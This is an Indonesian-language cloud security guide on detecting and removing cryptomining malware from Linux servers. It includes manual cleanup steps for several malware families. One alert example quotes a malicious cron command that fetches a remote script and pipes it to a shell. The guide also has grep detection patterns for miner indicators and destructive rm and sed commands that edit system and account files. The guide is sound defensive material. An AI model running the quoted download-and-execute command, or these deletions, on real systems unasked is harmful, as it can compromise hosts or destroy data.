All Products
Search

This Product

    Security Center:Praktik terbaik untuk menangani program penambangan kripto

    Document Center

    Security Center:Praktik terbaik untuk menangani program penambangan kripto

    Last Updated:Sep 09, 2026

    Setelah Instance ECS dikompromikan oleh program penambangan kripto, sumber daya CPU habis, layanan bisnis terganggu, dan malware tersebut dapat menyebar secara lateral di jaringan internal. Dokumen ini menjelaskan alur kerja tanggapan insiden yang lengkap—mulai dari penahanan segera dan analisis akar penyebab hingga pembersihan multi-jalur dan penguatan keamanan jangka panjang—untuk membantu Anda memulihkan keamanan sistem dengan cepat.

    Rute umum intrusi penambangan kripto

    Program penambangan kripto biasanya ditanamkan pada Instance ECS karena perlindungan keamanan yang tidak memadai, bukan karena masalah perangkat keras. Rute intrusi umum meliputi:

    • Serangan brute-force terhadap password SSH yang lemah: Penyerang memindai port SSH yang terbuka dan menggunakan serangan kamus untuk membobol password lemah, lalu menanamkan program penambangan kripto setelah mendapatkan akses ke server.

    • Akses Redis yang tidak sah: Jika Redis tidak dikonfigurasi dengan password atau di-bind ke alamat IP yang salah, penyerang dapat mengeksploitasi kemampuan penulisan file-nya untuk menanamkan skrip penambangan kripto.

    • Kerentanan aplikasi web: Penyerang mengeksploitasi kerentanan RCE atau unggah file untuk langsung mengeksekusi program penambangan kripto di server.

    Langkah-langkah perlindungan:

    1. Gunakan fitur Virus Detection and Removal dari Security Center untuk memindai dan menghapus program penambangan kripto secara berkala. Fitur ini memerlukan edisi Anti-virus atau lebih tinggi.

    2. Pada security group ECS, batasi port mencurigakan (seperti 51827) agar hanya dapat diakses dari alamat IP tepercaya.

    3. Tinjau secara berkala kunci publik SSH dan hapus kunci yang tidak sah.

    Bahaya program penambangan kripto dan cara mengidentifikasinya

    Bahaya

    • Konsumsi dan degradasi sumber daya: Program penambangan kripto mengonsumsi sumber daya CPU untuk komputasi intensif dalam menambang mata uang kripto, menyebabkan kehabisan CPU parah yang secara langsung berdampak pada operasi normal aplikasi bisnis lain di server.

    • Penyebaran seperti worm: Setelah perimeter keamanan berhasil ditembus, malware penambangan kripto dengan cepat menyebar secara lateral di jaringan internal dan membangun mekanisme persistensi di server yang dikompromikan untuk memastikan keuntungan jangka panjang.

    • Sulit dihapus: Program penambangan kripto menggunakan mekanisme perlindungan terkoordinasi, dan pembersihan yang tidak lengkap menyebabkan infeksi berulang. Beberapa varian, seperti xorddos, mengganti perintah sistem sehingga mengeksekusi perintah sistem normal memicu skrip berbahaya, membuat penghapusan menjadi lebih sulit.

    Metode identifikasi

    • Degradasi performa drastis: Utilisasi CPU server secara periodik atau terus-menerus melebihi 80%, menyebabkan aplikasi bisnis merespons lambat atau sama sekali tidak tersedia.

    • Stabilitas sistem terganggu: Beban komputasi tinggi dari program penambangan kripto dapat menyebabkan crash sistem atau gangguan layanan.

    • Menerima peringatan keamanan: Security Center mengirim pemberitahuan peringatan saat mendeteksi program penambangan kripto, komunikasi dengan mining pool, atau akses ke nama domain jahat.

    • Mekanisme deteksi: Deteksi penambangan kripto di Security Center adalah mekanisme identifikasi backend otomatis. Tidak tersedia tool deteksi self-service khusus. Anda dapat melihat hasil deteksi di halaman Detection and Response > Security Events di Konsol.

    • Webshell sebagai indikator peringatan dini: Menemukan file backdoor webshell merupakan indikator peringatan dini bahwa program penambangan kripto mungkin telah ditanamkan. Penyerang biasanya mengunggah webshell terlebih dahulu, lalu menginstal dan menjalankan program penambangan kripto. Kami menyarankan untuk memeriksa daftar event keamanan guna melihat hubungan kronologis antara peringatan webshell dan peringatan penambangan kripto pada host yang sama.

    Strategi tanggapan

    Tanggapi dengan cepat untuk sepenuhnya menghapus program penambangan kripto dan backdoor persistensinya, memulihkan performa server normal, serta menerapkan penguatan keamanan guna mencegah kompromi di masa depan.

    Biaya dan risiko

    • Biaya:

      • Security Center: Fitur lanjutan seperti Antivirus dan Deep Cleanup memerlukan edisi Anti-virus atau lebih tinggi. Tersedia uji coba gratis selama 7 hari.

      • Agentless Detection: Ini adalah layanan pay-as-you-go. Anda harus membeli fitur penagihan Agentless Detection secara terpisah.

      • Layanan Tanggap Darurat: Jika Anda tidak dapat menangani masalah sendiri, Anda dapat membeli Layanan Tanggap Darurat Alibaba Cloud untuk mendapatkan dukungan dari insinyur keamanan profesional.

    • Risiko:

      • Risiko pembersihan manual: Operasi manual dapat secara tidak sengaja menghapus file sistem atau mengubah konfigurasi, menyebabkan server gagal boot atau mengganggu operasi bisnis. Kami menyarankan membuat snapshot sebelum melakukan pembersihan manual apa pun.

      • Risiko kehilangan data: Re-initializing the system disk menghapus permanen semua data pada disk sistem. Jika Anda tidak membuat snapshot sebelumnya, data tersebut tidak dapat dipulihkan.

    Arsitektur solusi

    Panduan ini mengikuti model tanggapan insiden "discovery–containment–cleanup–hardening" dan menyediakan tiga jalur remediasi yang sesuai dengan kemampuan teknis dan skenario bisnis yang berbeda.

    1. Pemeriksaan mandiri cepat dan penahanan darurat: Identifikasi ancaman dan kendalikan situasi secepat mungkin untuk mencegah kerusakan lebih lanjut. Tindakan utama meliputi mengidentifikasi proses abnormal dan koneksi jaringan, serta menggunakan security group untuk isolasi jaringan.

    2. Keputusan dan pemilihan jalur: Berdasarkan keahlian teknis, batasan waktu, dan toleransi risiko Anda, pilih jalur pembersihan yang paling sesuai dari tiga opsi berikut:

      • Pembersihan otomatis dengan Security Center (Direkomendasikan): Gunakan tool otomatis yang disediakan oleh Security Center untuk menangani peringatan, memindai virus, dan menghapus backdoor persistensi secara efisien dan akurat.

      • Pembersihan manual: Cocok untuk profesional dengan pengalaman luas dalam operasi dan pemeliharaan Linux/Windows. Ini melibatkan pembersihan sistem mendalam melalui investigasi manual dan eksekusi perintah.

      • Reset sistem: Jika infeksi sudah sangat dalam atau berulang, cadangkan data Anda dan re-inisialisasi disk sistem untuk menghilangkan ancaman dari sumbernya.

    3. Verifikasi dan penguatan keamanan: Setelah pembersihan, verifikasi bahwa sistem beroperasi normal dan terapkan langkah-langkah penguatan keamanan.

    Prosedur

    Pemeriksaan mandiri cepat dan penahanan darurat

    Saat Anda menerima peringatan atau memperhatikan performa server abnormal, lakukan tindakan berikut untuk diagnosis awal dan penahanan darurat.

    1. Identifikasi proses abnormal dan koneksi jaringan

      • Periksa proses ber-CPU tinggi: Login ke server dan jalankan perintah top -c atau ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more untuk menemukan proses tak dikenal yang mengonsumsi sumber daya CPU tinggi dalam periode panjang.

      • Periksa koneksi jaringan mencurigakan: Jalankan perintah ss -ntp atau netstat -antp untuk memeriksa koneksi ke alamat remote tak dikenal, terutama yang menggunakan port mining pool umum seperti 3333, 5555, dan 7775.

    2. Lakukan penahanan darurat

      • Isolasi jaringan (Direkomendasikan): Ini adalah cara tercepat dan paling aman untuk menahan ancaman. Segera login ke Konsol ECS, modifikasi aturan security group untuk server, dan atur aturan outbound untuk menolak semua traffic. Izinkan akses hanya untuk port login remote (seperti SSH 22 atau RDP 3389) dari alamat IP tepercaya. Tindakan ini langsung memutus komunikasi antara program penambangan kripto dan mining pool-nya.

      • Hentikan proses berbahaya: Untuk setiap proses berbahaya yang teridentifikasi, jalankan perintah kill -9 <PID> untuk menghentikannya. Perlu dicatat bahwa ini hanya tindakan sementara. Proses tersebut kemungkinan besar akan dimulai ulang jika mekanisme persistensinya tidak dihapus.

    Security Center tidak menyediakan tool khusus untuk melacak alamat IP miner. Backend secara otomatis mendeteksi koneksi ke mining pool. Untuk mendapatkan alamat IP miner dan mining pool, pilih Detection and Response > Security Events, lalu periksa peringatan jenis suspicious network connection dan suspicious network traffic.

    Status server setelah remediasi

    Selama server tidak lagi menunjukkan aktivitas penambangan, Security Center tidak secara otomatis mematikan atau mengunci Instance ECS setelah Anda menangani peringatan penambangan kripto. Security Center adalah layanan deteksi dan peringatan, dan tidak memiliki kemampuan untuk mematikan atau mengunci instance.

    • Menangani peringatan secara manual: Di Konsol Security Center, buka halaman Alert, klik peringatan untuk melihat detailnya, lalu pilih Handled.

    • Kedaluwarsa otomatis: Jika Anda tidak menangani peringatan secara manual, peringatan tersebut akan diarsipkan secara otomatis sebagai expired data 30 hari setelah dibuat.

    Lakukan pembersihan

    Pilih salah satu metode pembersihan berikut berdasarkan situasi Anda.

    Pembersihan otomatis dengan Security Center (direkomendasikan)

    Prasyarat

    • Anda telah membeli edisi Anti-virus, Advanced, Enterprise, atau Ultimate dari Security Center.

      Catatan

      Anda juga dapat mengaktifkan uji coba gratis 7 hari untuk menggunakan fitur terkait.

    • Untuk melakukan pemindaian penuh, Anda harus mengaktifkan fitur Agentless Detection, yang merupakan layanan pay-as-you-go.

    • Pastikan agen Security Center di server target sedang online.

    Langkah 1: Tangani peringatan dan hentikan proses berbahaya

    Gunakan fitur Alert di Security Center untuk menghentikan proses berbahaya dan mengkarantina file virus guna segera menghentikan program penambangan kripto. Untuk informasi lebih lanjut, lihat Evaluasi dan tangani peringatan keamanan. Langkah-langkah berikut memberikan contoh.

    1. Login ke Konsol Security Center.

    2. Di panel navigasi kiri, pilih Detection and Response > Security Events. Di pojok kiri atas konsol, pilih wilayah tempat aset yang akan dilindungi berada: Chinese Mainland atau Outside Chinese Mainland.

    3. Temukan peringatan penambangan kripto dan klik Details di kolom Actions untuk melihat detail peringatan.

      Penting

      Berdasarkan informasi dasar dan deskripsi event yang disediakan di Konsol Security Center, Anda dapat menemukan program penambangan kripto dan memeriksa peringatan atau file mencurigakan lainnya. Anda harus menentukan apakah file yang memicu peringatan tersebut merupakan file bisnis yang sah atau file yang dijalankan oleh penyerang. Jika Anda memastikan ini adalah serangan, kami menyarankan setelah menangani peringatan penambangan kripto, Anda juga menangani semua peringatan dan file mencurigakan lainnya di server.

      Di halaman detail peringatan, Anda juga dapat melihat alamat IP miner dan alamat IP tujuan yang digunakan untuk komunikasi dengan mining pool. Anda dapat menambahkan alamat IP ini ke security group dan menonaktifkannya untuk memblokir koneksi.

    4. Kembali ke halaman Alerts untuk menangani peringatan penambangan kripto.

      1. Klik Handle di kolom Actions untuk peringatan penambangan kripto target.

      2. Di kotak dialog Handle Alert, pilih Virus Detection and Removal sebagai metode penanganan. Lalu, pilih Terminate Process atau Terminate Process and Quarantine Source File, lalu klik Handle Now untuk mencegah program berjalan kembali.

        Jika Anda memastikan file yang menyebabkan peringatan bukan file bisnis, kami menyarankan memilih Terminate Process and Quarantine Source File untuk mencegah virus semakin menginfeksi server Anda.

        Catatan

        Security Center mendukung fitur Process similar alerts together (groups alerts triggered by the same rule or type for bulk handling). Jika Anda perlu memproses peringatan secara batch yang dipicu oleh aturan atau jenis yang sama, Anda dapat memilih Process similar alerts together (groups alerts triggered by the same rule or type for bulk handling).

    5. Di halaman Alerts, temukan peringatan terkait yang dihasilkan oleh event penambangan kripto (seperti komunikasi dengan mining pool) dan lakukan aksi Block.

      Catatan

      Security Center menghasilkan kebijakan yang sesuai untuk mencegah server mengakses mining pool, memberi Anda waktu yang cukup untuk menangani event keamanan tersebut. Anda juga dapat secara manual menambahkan alamat IP mining pool ke security group untuk memblokir akses. Untuk informasi lebih lanjut tentang cara menambahkan aturan security group, lihat Add a security group rule.

    6. Di halaman Alerts, periksa apakah ada peringatan anomali perilaku proses untuk menentukan apakah terdapat tugas terjadwal abnormal, lalu tangani peringatan tersebut sesuai kebutuhan. Di panel detail peringatan Security Center, nama peringatan adalah Process Anomaly - Linux Scheduled Task Executing Abnormal Commands, dengan status Pending. Bidang utama meliputi:

      • Nama proses: bash

      • Path proses: /usr/bin/bash

      • ID proses: 14075

      • Username: root

      • Argumen command-line: /bin/sh -c curl -fsSL http://a.com/init.sh | sh > /dev/null 2>&1

      Deskripsi event: Setelah peretas melakukan intrusi, skrip shell berbahaya ditulis ke crontab atau tugas terjadwal systemd untuk mencapai eksekusi persisten. Solusi yang direkomendasikan adalah memeriksa direktori seperti /etc/crontab, /var/spool/cron/, dan /var/spool/cron/crontabs/ untuk file tugas terjadwal mencurigakan, serta memperkuat password sistem.

    Langkah 2: Pemindaian dan pembersihan mendalam

    Setelah proses berbahaya dihentikan, mekanisme persistensinya seperti layanan auto-startup dan tugas terjadwal mungkin masih ada. Gunakan fitur Antivirus di Security Center untuk memindai dan membersihkannya. Untuk informasi lebih lanjut, lihat Antivirus. Langkah-langkah berikut memberikan contoh.

    1. Login ke Konsol Security Center.Di panel navigasi kiri, pilih Protection Configuration > Host Protection > Virus Detection and Removal. Di pojok kiri atas konsol, pilih wilayah tempat aset yang akan dilindungi berada: Chinese Mainland atau Outside Chinese Mainland.

    2. Di halaman Virus Detection and Removal, klik Scan Now atau Scan Again.

    3. Di panel Scan Settings, konfigurasikan mode pemindaian dan cakupan pemindaian, lalu klik OK.

      • Scan Mode: Pilih Quick Scan.

      • Scan Scope: Pilih server yang dikompromikan oleh program penambangan kripto.

        Atur Scan Mode ke Quick Scan, dan gunakan tab By Asset untuk memfilter dan memilih server target.

    4. Setelah pemindaian selesai, di halaman Virus Detection and Removal, klik Actions di kolom Handle untuk peringatan target.

    5. Di panel Alert Handling, pilih Deep Cleanup, klik Next, lalu tunggu sistem memproses peringatan.

    6. Setelah peringatan ditangani, lihat hasil dan status peringatan di halaman Alerts.

      Di kotak dialog Handle Alert, pilih Deep Cleanup (direkomendasikan) sebagai metode penanganan. Deep Cleanup melakukan operasi berikut:

      • Menghentikan proses virus berbahaya

      • Mengkarantina sampel berbahaya

      • Menghapus mekanisme persistensi yang ditanamkan oleh penyerang (termasuk entri Crontab dan sumber unduhan berbahaya)

      Di bagian metode perbaikan, pilih Auto-Create Snapshot and Repair, atur nama snapshot (misalnya, VirusDefense_AlertRepair_DeepCleanup) dan periode retensi snapshot (misalnya, 1 day). Biaya snapshot sekitar CNY 0,15 per hari untuk disk sistem 40 GB.

    Langkah 3: Pemindaian penuh

    Untuk memastikan tidak ada file sisa yang tersisa, Anda dapat menggunakan fitur deteksi tanpa agen untuk melakukan pemindaian offline seluruh disk. Fitur ini hanya mendukung deteksi, bukan remediasi. Anda harus menangani risiko yang terdeteksi berdasarkan detail yang disediakan di halaman detail risiko. Untuk informasi lebih lanjut, lihat Agentless Detection.

    1. Login ke Konsol Security Center.Pilih wilayah tempat aset yang akan dilindungi berada: Chinese Mainland atau Outside Chinese Mainland.

    2. Di tab Agentless Detection > Server Check, di bagian Risk Detection, klik Scan Now.

    3. Di panel Scan Now, konfigurasikan pengaturan seperti dijelaskan dalam tabel berikut lalu klik OK.

      • Scan Scope: Kami menyarankan memindai disk data untuk cakupan deteksi kerentanan dan peringatan yang lebih luas.

      • Image Retention Duration:

        • Nilainya dapat berkisar antara 1 hingga 365 hari.

        • Anda dikenai biaya untuk membuat image. Semakin lama Anda menyimpan image, semakin tinggi biayanya.

          Penting

          Jika Anda memilih Retain Only At-risk Image, sistem secara otomatis menghapus image yang bebas ancaman setelah pemindaian selesai.

    4. Setelah Anda membuat tugas, Security Center secara otomatis membuat image dan melakukan pemindaian serta operasi selanjutnya. Untuk informasi lebih lanjut, lihat Automatic creation of snapshots and images.

      Catatan

      Durasi pemindaian tergantung pada volume data. Tunggu hingga tugas selesai.

    5. Setelah tugas deteksi selesai, tinjau dan tangani risiko kerentanan, kegagalan pemeriksaan baseline, peringatan keamanan, dan file sensitif yang terdeteksi.

    Pembersihan manual

    Program penambangan kripto membuat banyak backdoor persistensi, sehingga sulit dihapus. Jika Anda menghadapi virus penambangan kripto tanpa langganan Security Center, Anda dapat mengambil langkah-langkah berikut untuk menginvestigasi dan menanganinya.

    Penting

    Metode ini melibatkan modifikasi file dan konfigurasi. Sebelum melanjutkan, buat snapshot disk server untuk memastikan Anda dapat memulihkan data jika terjadi kesalahan operasional.

    Sistem Linux

    1. Blokir komunikasi jaringan berbahaya.

      Setelah menemukan aktivitas penambangan kripto di host, langkah pertama adalah memblokir komunikasi jaringan Trojan penambangan kripto untuk segera mengendalikan dampaknya, karena remediasi penuh bisa memakan waktu lama.

      1. Jalankan perintah berikut untuk memeriksa koneksi jaringan sistem saat ini.

        netstat -antp

        [root@ixxx poc]# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.xxx:xxx               0.0.0.0:*               LISTEN      1399/sshd
tcp        0      0 12xxx:xxx               0.0.0.0:*               LISTEN      1121/master
tcp        0      0 127.0.0.xxx:xxx         0.0.0.0:*               LISTEN      8847/node
tcp        0      0 0.0.xxx:xxx             0.0.0.0:*               LISTEN       572/rpcbind
tcp        0      0 127.xxx:xxx             12x.x.x.1:xxx           ESTABLISHED 8988/node
tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             TIME_WAIT   -
tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             TIME_WAIT   -
tcp        0      0 127.xxx:xxx             12x.xxx:xxx             ESTABLISHED 8847/node
tcp        0      0 127.xxx:xxx             127.x.x.x              ESTABLISHED 8761/sshd: root@not
tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             ESTABLISHED 17704/AliHips
tcp        0      0 17x.xxx:xxx             18x.xxx:xxx             ESTABLISHED 16901/logrotate
tcp        0      0 1xx.xxx:xxx             12x.xxx:xxx             ESTABLISHED 8761/sshd: root@not
tcp        0      0 1xx.xxx:xxx             100.xxx:xxx             TIME_WAIT   -
tcp        0      0 1xx.xxx:xxx3            10x.xxx:xxx             ESTABLISHED 1506/AliYunDun
tcp        0      0 17x.xxx:xxx22           14x.xxx:xxx             ESTABLISHED 8761/sshd: root@not
tcp6       0      0 :::xxx                  :::*                    LISTEN      1121/master
tcp6       0      0 :::xxx                  :::*                    LISTEN       572/rpcbind

      2. Dalam perintah berikut, ganti C&C address dengan alamat remote mencurigakan (Foreign Address) yang tidak digunakan oleh operasi bisnis normal Anda. Lalu, jalankan perintah untuk menambahkan aturan firewall guna memblokir semua koneksi jaringan antara server dan alamat mencurigakan tersebut.

        iptables -A INPUT -s C&C address -j DROP
iptables -A OUTPUT -d C&C address -j DROP

    2. Bersihkan tugas terjadwal.

      Trojan penambangan kripto sering menggunakan tugas terjadwal untuk mengunduh (memperbarui) dan memulai Trojan secara periodik. Hanya membersihkan proses dan file Trojan saja tidak cukup untuk memberantas program tersebut dan dapat menyebabkan infeksi berulang.

      Investigasi file tugas terjadwal berikut dan hapus tugas apa pun yang terkait dengan pengunduhan atau pemulaian Trojan penambangan kripto.

      • Lihat tugas terjadwal untuk pengguna saat ini atau pengguna tertentu (username).

        crontab -l
crontab -u username -l

      • Semua file tugas terjadwal di host.

        /etc/crontab
/var/spool/cron/
/etc/anacrontab
/etc/cron.d/
/etc/cron.hourly/
/etc/cron.daily/
/etc/cron.weekly/
/etc/cron.monthly/

    3. Bersihkan layanan auto-startup.

      1. Jalankan perintah berikut untuk menginvestigasi semua layanan auto-startup di sistem.

        systemctl list-unit-files | grep enabled

      2. Temukan file unit untuk layanan mencurigakan dan periksa detailnya.

        Ganti * dengan nama layanan dan <service_unit_name> dengan nama file unit layanan.

        ls -al /etc/systemd/system/*.service
ls -al /usr/lib/systemd/system/*.service

# View service details (the process file started by the service)
cat /etc/systemd/system/<service_unit_name>.service

      3. Jika Anda menemukan layanan auto-startup berbahaya, gunakan perintah berikut untuk menonaktifkan layanan dan menghapus file unit-nya.

        Ganti <service name> dengan nama layanan dan <service_unit_name> dengan nama file unit layanan.

        systemctl disable <service name>
rm /etc/systemd/system/<service_unit_name>.service
rm /usr/lib/systemd/system/<service_unit_name>.service

      4. Investigasi path layanan berikut untuk layanan auto-startup dan bersihkan menggunakan langkah-langkah di atas.

        /etc/rc.local
/etc/inittab
/etc/rc.d/
/etc/init.d/

    4. Bersihkan kunci publik SSH.

      Trojan penambangan kripto sering menambahkan kunci publik SSH penyerang ke file ~/.ssh/authorized_keys. Hal ini memungkinkan penyerang login ke host yang dikompromikan tanpa password dan menginstal ulang file berbahaya. Investigasi file ~/.ssh/authorized_keys dan segera hapus kunci publik mencurigakan apa pun.

    5. Bersihkan pembajakan .so.

      File .so yang dipra-muat, yang diatur melalui file /etc/ld.so.preload, dapat membajak perintah sistem umum seperti top, ps, dan netstat untuk menyembunyikan proses penambangan kripto.

      1. Jalankan perintah berikut untuk menginvestigasi file .so yang dipra-muat.

        cat /etc/ld.so.preload

      2. Jalankan perintah berikut untuk menghapus pembajakan pra-muat.

        echo > /etc/ld.so.preload

    6. Bersihkan akun berbahaya.

      Beberapa keluarga Trojan penambangan kripto membuat akun backdoor baru untuk mempertahankan kendali jangka panjang atas host yang dikompromikan. Jalankan perintah berikut untuk memeriksa akun berbahaya, lalu hapus informasi akun terkait secara manual.

      • Periksa log untuk aktivitas pembuatan akun terbaru.

        cat /var/log/audit/audit.log | grep useradd
# Or
cat /var/log/secure | grep 'new user'

      • Periksa file /etc/passwd untuk akun mencurigakan.

        cut -d: -f1 /etc/passwd

      • Periksa waktu pembuatan atau terakhir aktif dari direktori home akun. Perhatikan khusus direktori home yang baru dibuat.

        stat /home/guest/

    7. Lawan teknik anti-modifikasi.

      Setelah menulis file persistensi seperti tugas terjadwal dan layanan auto-startup, beberapa Trojan penambangan kripto mengatur atribut immutable pada file untuk mencegah mekanisme persistensi dihapus.

      [root@iZxxx poc]# rm /etc/cron.hourly/logrotate
rm: remove regular file '/etc/cron.hourly/logrotate'? y
rm: cannot remove '/etc/cron.hourly/logrotate': Operation not permitted
[root@iZxxx poc]# echo "" > /etc/cron.hourly/logrotate
bash: /etc/cron.hourly/logrotate: Permission denied
[root@iZxxx poc]# lsattr /etc/cron.hourly/logrotate
----i---------e-- /etc/cron.hourly/logrotate

      Jika Anda menghadapi situasi ini, jalankan perintah berikut untuk mengembalikan atribut file sebelum menghapus tugas terkait.

      chattr -i /etc/passwd
chattr -i /etc/crontab

    8. Hentikan proses Trojan penambangan kripto.

      1. Proses penambangan kripto biasanya mengonsumsi sumber daya CPU tinggi. Anda dapat menggunakan perintah berikut untuk menginvestigasi proses penambangan kripto mencurigakan.

        • Investigasi proses yang mengonsumsi banyak CPU host.

          top -c

          Perhatikan nilai 99.4 us di baris %Cpu(s) (menunjukkan penggunaan CPU ruang pengguna) dan proses /root/.config/logrotate yang mengonsumsi CPU 395.0% di daftar proses.

          top – 11:42:28 up 5 days,  1:30,  0 users,  load average: 2.71, 0.84, 0.32
Tasks: 114 total,    1 running, 110 sleeping,   3 stopped,   0 zombie
%Cpu(s): 99.4 us,  0.6 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  7732792 total,  5724224 free,   562256 used,  1446312 buff/cache
KiB Swap:        0 total,        0 free,        0 used.  6911024 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
16901 root      20   0  320776   3220   2308 S 395.0  0.0   2:31.13 /root/.config/logrotate
          ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more

          [root@ixxx z poc]# ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more
  PID  PPID CMD                         %CPU
16901     1 /root/.config/logrotate      208
 8988  8847 /root/.vscode-server/bin/2d  3.9

        • Investigasi perilaku koneksi jaringan abnormal.

          netstat -antp

          Output menunjukkan bahwa proses 16901/logrotate memiliki koneksi jaringan ESTABLISHED abnormal, yang merupakan perilaku mencurigakan.

          [root@iZbp113etj2f09g5ci8fukZ poc]# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.xxx.xxx.xx            xxx.xxx.xxx             LISTEN      1399/sshd
tcp        0      0 12x.x.x.xxx             0.x.x.x                 LISTEN      1121/master
tcp        0      0 1xx.x.x.xxx             xxx.xxx.xxx             LISTEN      8847/node
tcp        0      0 0.xxx.xxx               x.x.x.x                 LISTEN      572/rpcbind
tcp        0      0 12x.xxx.x.xxxxx         127.0.0.1.xxxxx         ESTABLISHED 8988/node
tcp        0      0 17x.xx.xxx.xxx.xxxxx    xxx                     TIME_WAIT   -
tcp        0      0 17x.xx                  xxx.xxx                 TIME_WAIT   -
tcp        0      0 1xx.x.0.1.xxxxx         xxx.xxx                 ESTABLISHED 8847/node
tcp        0      0 12x.x.x.xxx             xxx                     ESTABLISHED 8761/sshd: root@not
tcp        0      0 1x.xxx.xxx.xxxxx        xxx.xxx.xxx.xxx         ESTABLISHED 17704/AliHips
tcp        0      0 172.xx.xxx.x:1200       xxx.xxx.x.xxx:xxx       ESTABLISHED 16901/logrotate
tcp        0      0 12x.x.x.xxx:x           12x.xxx                 ESTABLISHED 8761/sshd: root@not
tcp        0      0 17x.xx.xxx.xxxxx        xxx.xxx.xx.xxx.xx       TIME_WAIT   -
tcp        0      0 17x.xx.xxx              xxx.xxx                 ESTABLISHED 1506/AliYunDun
tcp        0      0 1xx.xx                  xxx                     ESTABLISHED 8761/sshd: root@not
tcp6       0      0 :xxx                    xxx                     LISTEN      1121/master
tcp6       0      0 :::xxx                  xxx                     LISTEN      572/rpcbind

        • Dapatkan path file dari proses mencurigakan.

          ls -al /proc/$PID/exe

        • Hitung hash MD5 dari file proses dan cari di platform Intelijen Ancaman Alibaba Cloud.

          md5sum /proc/$PID/exe

          Halaman hasil kueri menampilkan informasi berikut:

          • Tingkat risiko file (misalnya, Medium) dan aktivitas terbaru.

          • Detail file, termasuk nama file, lingkungan runtime, dan waktu pertama kali ditemukan.

          • Nilai hash, termasuk MD5, SHA1, dan SHA256.

          • Tag ancaman (misalnya, Cryptomining).

      2. Jalankan perintah berikut untuk menghentikan proses penambangan kripto dan membersihkan file Trojan.

        kill -9 $PID
# Delete the process path obtained from ls -al /proc/$PID/exe
rm /path/to/executable

    Sistem Linux (kasus penambangan kripto spesifik)

    Penambangan kripto yang menyamar sebagai AliyunDuns

    1. Jalankan perintah berikut untuk menginvestigasi entri auto-startup persisten.

      grep -rlE "\\-\\-donate\\-level|xmrig|\\/opt\\/sysetmd|A_li_yun_Duns" /etc/systemd/system/*
grep -rl "wget"  /etc/cron.hourly/*

    2. Jika ditemukan hasil apa pun, berarti ada layanan auto-startup. Jalankan perintah berikut untuk menghapusnya.

      rm -f /etc/systemd/system/sysetmd.service
rm -f /etc/systemd/system/monero.service
rm -f /etc/systemd/system/A_li_yun_Duns.service
chattr -i /etc/cron.hourly/0
rm -f /etc/cron.hourly/0

    3. Investigasi dan tangani pengguna mencurigakan.

      1. Jalankan perintah berikut untuk mengkueri daftar pengguna sistem dan mengidentifikasi username mencurigakan.

        cat /etc/passwd

      2. Jalankan perintah berikut untuk melihat informasi tentang pengguna sistem abnormal. Dalam contoh ini, penggunanya adalah shaojiang99.

        cat /etc/passwd | grep shaojiang99
cat /etc/shadow | grep shaojiang99

      3. Jalankan perintah berikut untuk menghapus pengguna sistem mencurigakan.

        chattr -i /etc/passwd
chattr -i /etc/shadow
sed -i '/^shaojiang99:/d' /etc/shadow
sed -i '/^shaojiang99:/d' /etc/passwd

    Remediasi manual untuk Skidmap

    1. Jalankan perintah berikut untuk menghapus entri layanan auto-startup.

      echo "" > /lib/systemd/system/systemd-cgroup.service
echo "" > /lib/systemd/system/systemd-deltaed.service
echo "" > /usr/bin/systemd-cgroup.org
echo "" > /usr/bin/systemd-cgroup
echo "" > /usr/bin/systemd-deltaed
echo "" > /usr/bin/systemd-deltaed.org

    2. Bersihkan secara manual file kunci publik SSH authorized_keys dengan menghapus kunci mencurigakan apa pun.

    Remediasi manual untuk Cleanfda

    1. Investigasi path tugas terjadwal berikut untuk eksekusi skrip mencurigakan (misalnya, /etc/upat.sh).

      /var/spool/cron/
/etc/cron.d/
/var/spool/cron/crontabs
/etc/crontab

    2. Investigasi perintah yang dimodifikasi (program asli seperti ps, pstree, dan top akan diganti namanya dengan akhiran .original).

      ls -al /usr/bin | grep original

    3. Investigasi kunci publik SSH dan hapus kunci yang tidak dikenal.

      cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys

    Contoh:

    # Restore modified commands
crondir='/var/spool/cron/'"$USER"
mv /bin/ps.original /bin/ps
mv /bin/top.original /bin/top
mv /bin/pstree.original /bin/pstree

# Restore editing permissions for scheduled task files
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d

# Delete suspicious scheduled tasks and payloads
sed -i '/upat.sh/d' /etc/crontab
rm -rf /etc/cron.d/httpd2
rm -rf /etc/upat.sh
rm -rf /tmp/upat.sh
rm -rf /etc/httpd2
rm -rf /tmp/httpd2

# Delete suspicious public keys
sed -i '/cKtXBjj******hVI0K7b/d' ~/.ssh/authorized_keys
sed -i '/cKtXBjj******hVI0K7b/d' /root/.ssh/authorized_keys

    Penambangan kripto keluarga Outlaw

    1. Periksa semua tugas terjadwal cron untuk string .configrc5/.

      • Path tugas terjadwal:

        /var/spool/cron/root
/var/spool/cron/
/etc/cron.d/
/var/spool/cron/crontabs
/etc/crontab

      • Jalankan perintah berikut untuk menginvestigasi.

        grep -r ".configrc5/" /var/spool/cron/*
grep -r ".configrc5/" /etc/cron*

    2. Jika ditemukan, jalankan perintah berikut untuk menghapus file terkait.

      rm -rf /tmp/.X2xi-unix/.rsync
rm -rf ~/.configrc5

    Penambangan kripto keluarga kinsing

    1. Jalankan perintah berikut untuk menginvestigasi tugas terjadwal cron. Cari konten yang mirip dengan gi.sh | bash > /dev/null. Jika ada, hapus baris tersebut.

      grep -r "gi.sh | bash > /dev/null" /etc/cron*
grep -r "gi.sh | bash > /dev/null" /var/spool/cron/*

    2. Jalankan perintah berikut untuk memeriksa apakah layanan /lib/systemd/system/bot.service ada.

      cat /lib/systemd/system/bot.service

    3. Jika layanan tersebut ada, jalankan perintah berikut untuk memeriksa /etc/ld.so.preload untuk file libsystem.so.

      cat /etc/ld.so.preload

    4. Setelah menemukan path file libsystem.so, hapus file tersebut.

